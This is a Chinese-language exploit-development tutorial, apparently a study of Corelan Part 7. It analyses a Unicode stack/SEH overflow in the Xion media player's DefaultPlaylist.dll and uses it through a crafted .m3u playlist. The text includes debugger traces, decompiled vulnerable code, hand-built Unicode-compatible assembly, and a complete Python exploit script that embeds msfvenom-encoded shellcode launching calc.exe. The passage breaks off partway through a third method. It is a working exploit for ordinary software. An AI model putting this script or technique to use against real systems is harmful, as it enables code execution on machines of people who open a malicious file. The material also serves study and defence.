Learn Corelan Exploit Writing Part 7
0x00 环境搭建
关于栈上的漏洞,之前系列的教程已经介绍了直接覆盖返回地址和触发SEH两种利用方式,同时也涵盖了众多保护机制的绕过方法。Part7应对的则是在输入字符串被转化为Unicode字符串后,溢出漏洞该如何构造exploit和payload(shellcode)。其中对于Unicode和汇编代码的联系理解,以及venetian shellcode创造性的使用都是值得学习的。
原文和本篇文章主要实践了将转化后合适的Unicode作为nop执行,以及编写汇编代码构造特定寄存器的内容,最后跳转至shellcode执行。至于兼容Unicode的shellcode的具体原理后面有机会再探个究竟。本文的实验环境还是win7-en-x86,未开启ASLR和DEP保护。
0x01 利用原理
转变原理
首先要明白输入的数据转变成Unicode是怎么转变的,结果又如何。在Win32的API中经常会把字符串转为Unicode的形式,类似于MultiByteToWideChar函数:
int MultiByteToWideChar(
UINT CodePage,
DWORD dwFlags,
_In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar
);
我理解的就是将Windows ANSI code page表示的字符串转换为UTF-16(宽字节)字符串,其中有个编码再解码的过程。对于小于等于\x7f
的ASCII字符,根据ANSI转换的结果会在其后加个\x00
字节,而对于大于\x7f
的ASCII字符,则会被转变为另外两个字符,详见fx的ppt,感兴趣的同学也可以验证一下。
利用方法
虽然覆盖的地址由原来控制的4字节变为2字节,但转换的原理和结果都知道,理论上来说一切都还是在控制当中的。首先对于确定漏洞点的偏移是没多大影响的,对应的2倍伸缩即可。其次对于利用方法的如下:
- 直接覆盖返回地址:由于返回地址是跳转指令,所以还得寻找是转换后Unicode形式的跳转地址(比如
0x00nn00mm
或大于\x7f
对应的宽字符组成的地址);如果找不到则可以退而求其次,寻找符合格式的上下文地址,只要在到达跳转指令的过程中不会破坏漏洞利用环境即可。这类地址的寻找均可用插件实现。(如OllyUNI和pvefindaddr) - 基于SEH的利用:
pop pop ret
的地址选取和第1点一样,关键是nshe中的短跳指令在转变成Unicode后不好控制,所以转变思路将转变为Unicode后的nseh+handler,作为nop指令(无害操作即为nop)执行过去抵达shellcode。
最后关于shellcode的构造思路,原文中提到了3种方法:
- 寻找ASCII版的shellcode再跳转执行:可能原始的shellcode不是可以直接通过寄存器跳转执行的,但我们可以利用venetian shellcode构建汇编代码向寄存器中写入特定地址,再跳转执行。(后文有示例)
- 构建一个Unicode兼容的shellcode:难度可能有些大。
- 使用decoder:前辈们有写好decoder解码shellcode再执行(基于venetian shellcode的构造思想),可是运行decoder需要特定寄存器满足一定的条件,如指向decoder的地址或指向一个可写地址。
如果我们通过覆盖返回地址或者利用SEH劫持了eip,在某些情况下也需要我们手写一些Unicode兼容的shellcode,来满足后续shellcode执行代码过程中对一些寄存器的要求。原文中根据Building IA32 ‘Unicode-Proof’ Shellcodes的内容介绍了两个例子,一个是实现mov eax, 0x????????
,另一个是实现lea eax, [ebp+0x300]
。
在后续漏洞利用过程中我也探索出了几个有趣的指令(均在ANSI Code page下)。
例一实现的汇编代码如下:
mov eax,0xAA004400 ; set EAX to 0xAA004400
push eax
dec esp
pop eax ; EAX = 0x004400??
add eax,0x33005500 ; EAX = 0x334455??
mov al,0x0 ; EAX = 0x33445500
mov ecx,0xAA006600
add al,ch ; EAX now contains 0x33445566
可以发现对寄存器赋值的操作和add的一些指令都是Unicode兼容的,可以扩展实现一些add操作:
\xb8\x00\x44\x00\xaa mov eax,0xAA004400
\xbb\x00\x44\x00\xaa mov ebx,0xAA004400
\xb9\x00\x44\x00\xaa mov ecx,0xAA004400
\xba\x00\x44\x00\xaa mov edx,0xAA004400
\xbf\x00\x44\x00\xaa mov edi,0xAA004400
\xbe\x00\x44\x00\xaa mov esi,0xAA004400
\xbd\x00\x44\x00\xaa mov ebp,0xAA004400
\xbc\x00\x44\x00\xaa mov esp,0xAA004400
\x00\xe8 add al, ch
\x00\xec add ah, ch
\x00\xeb add bl, ch
\x00\xef add bh, ch
\x00\xea add dl, ch
\x00\xee add dh, ch
如果想和eax寄存器交换内容,可以用单字节指令xchg,可惜都是\x9?
,会被转换掉,不过我们还是可以借助栈来实现寄存器的交换:
\x93 xchg eax, ebx
\x50 push eax
\x53 push ebx
\x58 pop eax
\x5b pop ebx
\x57 push edi
\x5e pop esi
虽然phrack的文章说mov eax,[eax]
这样的指令是完全没用的(不兼容),但借助栈的特性还是可以实现类似操作的:
\x8b\x00 mov eax, [eax]
\x50 push eax
\x5c pop esp
\x58 pop eax
0x02 漏洞实例
漏洞原理
老套路,5000字节的pattern生成carsh.m3u,windbg attach上软件后打开该playlist,即可捕获到将栈空间打满的异常:
(7b0.110): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000031 ebx=04f81614 ecx=0506eed0 edx=00130000 esi=04f815f8 edi=0012f240
eip=03cbc2a6 esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll -
DefaultPlaylist!XionPluginCreate+0x18776:
03cbc2a6 668902 mov word ptr [edx],ax ds:0023:00130000=6341
0:000> !exchain
0012f254: 00690041
Invalid exception stack at 00380069
0:000> db 0012f254
0012f254 69 00 38 00 41 00 69 00-39 00 41 00 6a 00 30 00 i.8.A.i.9.A.j.0.
0012f264 41 00 6a 00 31 00 41 00-6a 00 32 00 41 00 6a 00 A.j.1.A.j.2.A.j.
0012f274 33 00 41 00 6a 00 34 00-41 00 6a 00 35 00 41 00 3.A.j.4.A.j.5.A.
0012f284 6a 00 36 00 41 00 6a 00-37 00 41 00 6a 00 38 00 j.6.A.j.7.A.j.8.
0012f294 41 00 6a 00 39 00 41 00-6b 00 30 00 41 00 6b 00 A.j.9.A.k.0.A.k.
0012f2a4 31 00 41 00 6b 00 32 00-41 00 6b 00 33 00 41 00 1.A.k.2.A.k.3.A.
0012f2b4 6b 00 34 00 41 00 6b 00-35 00 41 00 6b 00 36 00 k.4.A.k.5.A.k.6.
0012f2c4 41 00 6b 00 37 00 41 00-6b 00 38 00 41 00 6b 00 A.k.7.A.k.8.A.k.
因此定位漏洞点在DefaultPlaylist.dll中,该dll经过了upx加壳,脱壳后定位漏洞点为,向栈上地址循环拷贝宽字节的文件内容导致越界写,对应汇编代码如下:
.text:1001C29C
.text:1001C29C loc_1001C29C: ; CODE XREF: sub_1001C140+157↑j
.text:1001C29C lea edx, [esp+0A6Ch+var_228]
.text:1001C2A3
.text:1001C2A3 loc_1001C2A3: ; CODE XREF: sub_1001C140+172↓j
.text:1001C2A3 movzx eax, word ptr [ecx]
.text:1001C2A6 mov [edx], ax ; bof
.text:1001C2A9 add ecx, 2
.text:1001C2AC add edx, 2
.text:1001C2AF test ax, ax
.text:1001C2B2 jnz short loc_1001C2A3
反汇编代码可以看得更清楚,原始的宽字节字符串指针保存在类的成员数据中,循环赋值造成溢出:
int __cdecl sub_1001C140(_DWORD *a1)
{
// ......
wchar_t v15; // [esp+844h] [ebp-228h]
int v16; // [esp+A68h] [ebp-4h]
// ......
if ( !v2 )
{
v3 = a1[6] < 8u;
memset(&v15, 0, 0x208u);
if ( v3 )
v4 = (wchar_t *)(a1 + 1);
else
v4 = (wchar_t *)a1[1];
v5 = &v15;
do
{
v6 = *v4;
*v5 = *v4;
++v4;
++v5;
}
while ( v6 );
sub_10019BC0(&v15);
sub_100199D0(&v15);
sub_100029E0(a1 + 7, (int)&v15, &v15, wcslen(&v15));
}
}
在循环前下断点,或者根据pattern可以算得偏移为265,还是和文件路径相关的:
Breakpoint 0 hit
eax=00000000 ebx=04f31614 ecx=0507a868 edx=00000000 esi=04f315f8 edi=0012f240
eip=04c6c29c esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
DefaultPlaylist!XionPluginCreate+0x1876c:
04c6c29c 8d942444080000 lea edx,[esp+844h]
0:000> db ecx
0507a868 5a 00 3a 00 5c 00 37 00-5c 00 41 00 61 00 30 00 Z.:.\.7.\.A.a.0.
0507a878 41 00 61 00 31 00 41 00-61 00 32 00 41 00 61 00 A.a.1.A.a.2.A.a.
0507a888 33 00 41 00 61 00 34 00-41 00 61 00 35 00 41 00 3.A.a.4.A.a.5.A.
0507a898 61 00 36 00 41 00 61 00-37 00 41 00 61 00 38 00 a.6.A.a.7.A.a.8.
0507a8a8 41 00 61 00 39 00 41 00-62 00 30 00 41 00 62 00 A.a.9.A.b.0.A.b.
0507a8b8 31 00 41 00 62 00 32 00-41 00 62 00 33 00 41 00 1.A.b.2.A.b.3.A.
0507a8c8 62 00 34 00 41 00 62 00-35 00 41 00 62 00 36 00 b.4.A.b.5.A.b.6.
0507a8d8 41 00 62 00 37 00 41 00-62 00 38 00 41 00 62 00 A.b.7.A.b.8.A.b.
0:000> p
eax=00000000 ebx=04f31614 ecx=0507a868 edx=0012f038 esi=04f315f8 edi=0012f240
eip=04c6c2a3 esp=0012e7f4 ebp=0012f260 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
DefaultPlaylist!XionPluginCreate+0x18773:
04c6c2a3 0fb701 movzx eax,word ptr [ecx] ds:0023:0507a868=005a
0:000> !exchain
0012f254: DefaultPlaylist!XionPluginCreate+6d3db (04cc0f0b)
0012f3d0: DefaultPlaylist!XionPluginCreate+6d4f1 (04cc1021)
0012fabc: DefaultPlaylist!XionPluginCreate+6d16c (04cc0c9c)
0012fb5c: DefaultPlaylist!XionPluginCreate+6de18 (04cc1948)
0012fbb0: DefaultPlaylist!XionPluginCreate+6c638 (04cc0168)
0012fc74: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, func: USER32!UserCallDlgProcCheckWow+154 (77d45bec)
0012fd7c: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, func: USER32!UserCallWinProcCheckWow+150 (77d4a435)
0012fddc: USER32!_except_handler4+0 (77d7629b)
CRT scope 0, filter: USER32!DispatchMessageWorker+146 (77d4b405)
func: USER32!DispatchMessageWorker+159 (77d4b418)
0012ff78: *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\r2 Studios\Xion\Xion.exe
Xion+78ea0 (00478ea0)
0012ffc4: ntdll!_except_handler4+0 (77ede0ed)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+2e (77f37eeb)
func: ntdll!__RtlUserThreadStart+63 (77f38260)
Invalid exception stack at ffffffff
0:000> ? 0012f254-0012f038
Evaluate expression: 540 = 0000021c
因为有个对原文件内容转换宽字节的过程,所以直接可以对kernel32!MultiByteToWideChar
下断点,推测一下软件的处理逻辑:
0:000> g
*** WARNING: Unable to verify checksum for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll -
0012caf4 04c1798d 00000003 00000000 05073f58
0012cb04 ffffffff
eax=00000000 ebx=05073f58 ecx=0dce730c edx=05073f59 esi=0012cb10 edi=00001389
eip=77e34538 esp=0012caf4 ebp=0012f234 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
kernel32!MultiByteToWideChar:
77e34538 ff258c1dde77 jmp dword ptr [kernel32!_imp__MultiByteToWideChar (77de1d8c)] ds:0023:77de1d8c={KERNELBASE!MultiByteToWideChar (0dce80b0)}
0:000> dd esp L5
0012caf4 04c1798d 00000003 00000000 05073f58
0012cb04 ffffffff
0:000> db 05073f58
05073f58 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
05073f68 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
05073f78 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
05073f88 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
05073f98 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
05073fa8 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
05073fb8 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
05073fc8 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0:000> kv
ChildEBP RetAddr Args to Child
0012f234 04c17c39 0012f324 0012f35c a3a5d327 kernel32!MultiByteToWideChar
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 DefaultPlaylist!XionPluginCreate+0x34109
0:000> lm DefaultPlaylist
Couldn't resolve error at 'ultPlaylist'
0:000> lm m DefaultPlaylist
start end module name
04be0000 04c82000 DefaultPlaylist C (export symbols) C:\Program Files\r2 Studios\Xion\plugins\DefaultPlaylist.dll
定位调用者的函数为sub_10037930
,观察到使用的Code page为CP_THREAD_ACP,存储字符串的空间为堆上根据长度动态分配:
_DWORD *__cdecl sub_10037930(int a1, _DWORD *a2)
{
const CHAR *v2; // ebx
void *v3; // edx
int v4; // edi
void *v5; // esp
unsigned int v6; // eax
int v8; // [esp+0h] [ebp-10h]
if ( *(_DWORD *)(a1 + 24) < 0x10u )
v2 = (const CHAR *)(a1 + 4);
else
v2 = *(const CHAR **)(a1 + 4);
if ( v2 )
{
v4 = lstrlenA(v2) + 1;
if ( v4 <= 0x3FFFFFFF && (v5 = alloca(2 * v4), &v8) )
{
LOWORD(v8) = 0;
v6 = MultiByteToWideChar(3u, 0, v2, -1, (LPWSTR)&v8, v4) != 0 ? (unsigned int)&v8 : 0;
}
else
{
v6 = 0;
}
v3 = (void *)v6;
}
else
{
v3 = 0;
}
return sub_100029E0(a2, (int)v3, v3, wcslen((const unsigned __int16 *)v3));
}
老套路跟踪返回地址可以知道函数的调用流程为:
# 4 sub_1001D350
# 3 sub_1001C670
# 2 sub_10037BE0
# 1 sub_10037930
# 0 MultiByteToWideChar
函数sub_1001D350
的反汇编代码如下:
void __cdecl sub_1001D350(wchar_t *lpFileName, int a2)
{
wchar_t *v2; // eax
const WCHAR *v3; // esi
v2 = wcsrchr(lpFileName, '.');
v3 = v2;
if ( v2 )
{
if ( StrStrIW(v2, L"m3u") || StrStrIW(v3, L"m3u8") )
{
sub_1001C670(lpFileName, a2);
}
else if ( StrStrIW(v3, L"pls") )
{
sub_1001B450(lpFileName, a2);
}
else if ( StrStrIW(v3, L"wpl") )
{
sub_1001CF10(lpFileName, a2);
}
}
}
判断playlist为m3u文件后,调用函数sub_1001C670
处理,其中调用了构造函数sub_1001C570
读取了文件的内容,在函数sub_10037BE0
中将字符串转换为宽字节,最后在函数sub_10037930
中触发了漏洞。
利用方法一:考虑绕过GS覆盖返回地址
在漏洞函数的首尾都有关于___security_cookie
的验证操作,在IDA的数据段中只有两处的交叉引用,以为该GS是静态的可以绕过,但在代码段的交叉引用有456处,而且和esp异或后的结果很大概率上也不是Unicode兼容的,两次启动软件调试验证如下:
0:022> g
Breakpoint 0 hit
eax=0012f3d0 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc15a esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862a:
03afc15a a1547db603 mov eax,dword ptr [DefaultPlaylist!XionPluginCreate+0x84224 (03b67d54)] ds:0023:03b67d54=81ee5c55
0:000> p
eax=81ee5c55 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc15f esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862f:
03afc15f 33c4 xor eax,esp
0:000> p
eax=81fcb451 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc161 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
DefaultPlaylist!XionPluginCreate+0x18631:
03afc161 898424480a0000 mov dword ptr [esp+0A48h],eax ss:0023:0012f24c=00000007
0:000> p
eax=81fcb451 ebx=04d21778 ecx=00000000 edx=00000002 esi=04d21778 edi=00000007
eip=03afc168 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
DefaultPlaylist!XionPluginCreate+0x18638:
03afc168 53 push ebx
0:026> g
Breakpoint 0 hit
eax=0012f3d0 ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c15a esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862a:
03c8c15a a1547dcf03 mov eax,dword ptr [DefaultPlaylist!XionPluginCreate+0x84224 (03cf7d54)] ds:0023:03cf7d54=e7da7898
0:000> p
eax=e7da7898 ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c15f esp=0012e804 ebp=0012f260 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
DefaultPlaylist!XionPluginCreate+0x1862f:
03c8c15f 33c4 xor eax,esp
0:000> p
eax=e7c8909c ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c161 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
DefaultPlaylist!XionPluginCreate+0x18631:
03c8c161 898424480a0000 mov dword ptr [esp+0A48h],eax ss:0023:0012f24c=00000007
0:000> p
eax=e7c8909c ebx=04db15f8 ecx=00000000 edx=00000002 esi=04db15f8 edi=00000007
eip=03c8c168 esp=0012e804 ebp=0012f260 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
DefaultPlaylist!XionPluginCreate+0x18638:
03c8c168 53 push ebx
利用方法二:覆盖SEH跳转至Unicode shellcode
和原文中的利用方法一样,利用SEH劫持eip,然后将eax赋值为ebp+0x100,最后跳转至eax执行shellcode。调试查看偏移的过程如下:
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450015 esp=0012e298 ebp=0012e2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50015:
00450015 5b pop ebx
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450016 esp=0012e29c ebp=0012e2b8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50016:
00450016 5d pop ebp
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=00450017 esp=0012e2a0 ebp=0012e380 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
Xion+0x50017:
00450017 c3 ret
0:000> p
eax=00000000 ebx=77f071b9 ecx=00450015 edx=77f071cd esi=00000000 edi=00000000
eip=0012f254 esp=0012e2a4 ebp=0012e380 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012f254 61 popad
0:000> p
eax=0012e380 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f255 esp=0012e2c4 ebp=0012f254 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012f255 006e00 add byte ptr [esi],ch ds:0023:0012e354=a2
0:000> p
eax=0012e380 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f258 esp=0012e2c4 ebp=0012f254 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012f258 1500450044 adc eax,44004500h
0:000> p
eax=44132881 ebx=0012f254 ecx=77f0718b edx=0012e368 esi=0012e354 edi=0012e39c
eip=0012f25d esp=0012e2c4 ebp=0012f254 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
0012f25d 004200 add byte ptr [edx],al ds:0023:0012e368=60
0:000> db eip
0012f25d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f26d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f27d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f28d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f29d 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f2ad 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f2bd 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0012f2cd 00 42 00 42 00 42 00 42-00 42 00 42 00 42 00 42 .B.B.B.B.B.B.B.B
0:000> db eip-0n539-10
0012f032 08 05 00 00 00 00 5a 00-3a 00 5c 00 37 00 5c 00 ......Z.:.\.7.\.
0012f042 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f052 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f062 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f072 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f082 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f092 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012f0a2 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:000> ? 0012f254+100-0012f042
Evaluate expression: 786 = 00000312
将eax赋值过程的汇编代码如下:
# SEH overflow
\x61 popad
\x00\x6E\x00 add byte ptr [esi],ch
\x15\x00\x45\x00\x44 adc eax, 0x44004500
\x00\x6E\x00 add byte ptr [esi],ch
# mov eax, ebp
\x55 push ebp
\x00\x6E\x00 add byte ptr [esi],ch
\x58 pop eax
\x00\x6E\x00 add byte ptr [esi],ch
# add eax, 0x100
\x05\x00\x02\x00\x11 add eax, 0x11000200
\x00\x6E\x00 add byte ptr [esi],ch
\x2d\x00\x01\x00\x11 sub eax, 0x11000100
\x00\x6E\x00 add byte ptr [esi],ch
# jmp eax
\x50 push eax
\x00\x6E\x00 add byte ptr [esi],ch
\xc3 ret
最后在shellcode部分,可以使用msfvenom生成x86/unicode_upper编码的shellcode,查看options以为不用指定相关的寄存器或偏移就可以:
msf encoder(x86/unicode_upper) > show options
Module options (encoder/x86/unicode_upper):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowWin32SEH false yes Use SEH to determine the address of the stub (Windows only)
BufferOffset 0 no The offset to the buffer from the start of the register
BufferRegister no The register that pointers to the encoded payload
但实际上不指定的话是无法生成相关shellcode的,指定BufferRegister为eax后,去掉我们常规喜欢在shellcode头部加的nop指令后(Unicode不兼容),最终的利用效果就和原文中一样完美了:
#!/usr/bin/env python3
padding = "A" * 265
next_seh = "\x61\x6e"
handler = "\x15\x45"
D = "\x44"
jumper = "\x6e\x55\x6e\x58\x6e\x05\x02\x11\x6e\x2d\x01\x11\x6e\x50\x6e\xc3"
# msfvenom -a x86 --platform Windows -p windows/exec CMD=calc.exe -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode
# Found 1 compatible encoders
# Attempting to encode payload with 1 iterations of x86/unicode_upper
# x86/unicode_upper succeeded with size 517 (iteration=0)
# x86/unicode_upper chosen with final size 517
# Payload size: 517 bytes
# Final size of python file: 2788 bytes
shellcode = ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51"
shellcode += "\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x51\x41\x50\x41\x35"
shellcode += "\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
shellcode += "\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58"
shellcode += "\x41\x35\x38\x41\x41\x50\x41\x5a\x41\x42\x41\x42"
shellcode += "\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31"
shellcode += "\x31\x31\x31\x41\x49\x41\x4a\x51\x49\x31\x41\x59"
shellcode += "\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
shellcode += "\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59"
shellcode += "\x58\x43\x52\x4d\x30\x4d\x30\x4d\x30\x53\x30\x54"
shellcode += "\x49\x39\x55\x4e\x51\x57\x50\x51\x54\x44\x4b\x32"
shellcode += "\x30\x50\x30\x44\x4b\x52\x32\x4c\x4c\x44\x4b\x30"
shellcode += "\x52\x4d\x44\x44\x4b\x32\x52\x4e\x48\x4c\x4f\x37"
shellcode += "\x47\x4f\x5a\x4d\x56\x50\x31\x4b\x4f\x36\x4c\x4f"
shellcode += "\x4c\x53\x31\x53\x4c\x4b\x52\x4e\x4c\x4d\x50\x39"
shellcode += "\x31\x48\x4f\x4c\x4d\x4b\x51\x47\x57\x39\x52\x4c"
shellcode += "\x32\x52\x32\x42\x37\x44\x4b\x42\x32\x4e\x30\x34"
shellcode += "\x4b\x4f\x5a\x4f\x4c\x34\x4b\x50\x4c\x4e\x31\x54"
shellcode += "\x38\x59\x53\x51\x38\x4b\x51\x58\x51\x52\x31\x44"
shellcode += "\x4b\x51\x49\x4f\x30\x4d\x31\x48\x53\x44\x4b\x51"
shellcode += "\x39\x4e\x38\x4a\x43\x4f\x4a\x30\x49\x34\x4b\x50"
shellcode += "\x34\x54\x4b\x4b\x51\x39\x46\x30\x31\x4b\x4f\x56"
shellcode += "\x4c\x49\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37\x4e"
shellcode += "\x58\x49\x50\x33\x45\x4c\x36\x4b\x53\x43\x4d\x4c"
shellcode += "\x38\x4f\x4b\x33\x4d\x4e\x44\x52\x55\x49\x54\x50"
shellcode += "\x58\x44\x4b\x52\x38\x4f\x34\x4d\x31\x48\x53\x51"
shellcode += "\x56\x54\x4b\x4c\x4c\x50\x4b\x34\x4b\x52\x38\x4d"
shellcode += "\x4c\x4d\x31\x39\x43\x34\x4b\x4d\x34\x44\x4b\x4d"
shellcode += "\x31\x5a\x30\x34\x49\x50\x44\x4e\x44\x4f\x34\x31"
shellcode += "\x4b\x31\x4b\x43\x31\x42\x39\x30\x5a\x32\x31\x4b"
shellcode += "\x4f\x39\x50\x51\x4f\x31\x4f\x31\x4a\x54\x4b\x4c"
shellcode += "\x52\x4a\x4b\x54\x4d\x51\x4d\x32\x4a\x4b\x51\x44"
shellcode += "\x4d\x45\x35\x46\x52\x4d\x30\x4d\x30\x4b\x50\x32"
shellcode += "\x30\x43\x38\x4e\x51\x54\x4b\x42\x4f\x33\x57\x4b"
shellcode += "\x4f\x49\x45\x47\x4b\x4c\x30\x47\x45\x36\x42\x31"
shellcode += "\x46\x31\x58\x47\x36\x35\x45\x57\x4d\x55\x4d\x4b"
shellcode += "\x4f\x48\x55\x4f\x4c\x4c\x46\x43\x4c\x4b\x5a\x35"
shellcode += "\x30\x4b\x4b\x39\x50\x54\x35\x4d\x35\x57\x4b\x50"
shellcode += "\x47\x4d\x43\x53\x42\x52\x4f\x31\x5a\x4d\x30\x52"
shellcode += "\x33\x4b\x4f\x58\x55\x33\x33\x33\x31\x52\x4c\x43"
shellcode += "\x33\x4e\x4e\x53\x35\x53\x48\x52\x45\x4d\x30\x41"
shellcode += "\x41"
payload = ""
payload += padding + next_seh + handler + D + jumper
payload += "B" * (786 // 2 - len(payload))
payload += shellcode
payload += "D" * (5000 - len(payload))
with open("normal.m3u", "wt", encoding="latin-1") as f:
f.write(payload)
利用方法三:跳转至原始shellcode
在探究漏洞原理的过程中也提到过,转换宽字节的过程是根据长度动态分配堆空间,所以读取原始文件内容时很有可能也是根据长度分配的堆空间,因为实验环境没有开启ASLR,而且两次分配的时机很近,所以它们的相对地址应该是不变的:
0:000> g
(53c.c90): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000031 ebx=04dd1614 ecx=0507b4f8 edx=00130000 esi=04dd15f8 edi=0012f240
